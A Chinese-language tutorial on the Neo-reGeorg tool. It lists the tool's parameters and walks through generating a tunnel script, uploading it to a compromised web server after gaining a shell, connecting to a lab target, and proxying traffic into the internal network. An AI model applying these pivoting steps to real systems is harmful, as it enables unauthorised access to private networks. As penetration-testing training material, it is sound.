1、项目地址

https://gitee.com/lylemi/Neo-reGeorg

2、reGeorg简介

reGeorg的主要功能是把内网服务器端口的数据通过HTTP/HTTPS隧道转发到本机,实现基于HTTP协议的通信。

reGeorg支持多种语言脚本

3、reGeorg参数

python neoreg.py -h

可选参数:
  -h, - -help                    显示此帮助消息并退出
  -u URI, --url URI             包含隧道脚本的URL
  -k KEY, --key KEY             指定连接密钥
  -l IP, --listen-on IP         默认的监听地址。(默认:127.0.0.1)
  -p PORT, --listen-port PORT      默认的监听端口。(默认:1080)
  -s, --skip                    跳过可用性测试
  -H LINE, --header LINE          将自定义header LINE传递给服务器
  -c LINE, --cookie LINE         自定义初始化Cookie
  -x LINE, --proxy LINE         proto://host[:port]在给定端口上使用代理
  --local-dns                   本地读取缓冲区,每个POST发送的最大数据量(默认值:2048 最大:2600)
  --read-buff Bytes             本地读取缓冲区,每个POST发送的最大数据量(默认值:2048 最大:2600)
  --read-interval MS            读取数据间隔,以毫秒为单位。(默认值:100)
  --max-threads N               代理最大线程数(默认值:1000)
  -v                            提高详细程度(使用-vv或更多以获得更好的效果)

4、reGeorg使用

a、执行脚本生成tunnel服务端脚本文件,并设置加密通信密码

python neoreg.py generate -k passwd

generate 指示脚本执行 “生成服务端脚本文件” 的操作。

b、将对应语言的隧道服务端脚本上传至目标的网站根目录

比如说getshell后可以用wget命令下载隧道脚本

c、用neoreg.py连接web服务器,在本地建立socks代理

python neoreg.py -k passwd -u http://362d8d1d4506.target.yijinglab.com/tunnel.jsp

-k 连接密码 -u 目标

d、检查代理端口

netstat -ano | findstr "8080"(windows,Linux的话是grep)

e、配置proxychains

我这里是windows下的用的是Proxifier或浏览器用ZeroOmega插件,如果是Linux用proxychains,这个我往期讲socks隧道搭建时有讲——stowawayfrp

然后就可以通过代理访问目标了

Logo

有“AI”的1024 = 2048,欢迎大家加入2048 AI社区

更多推荐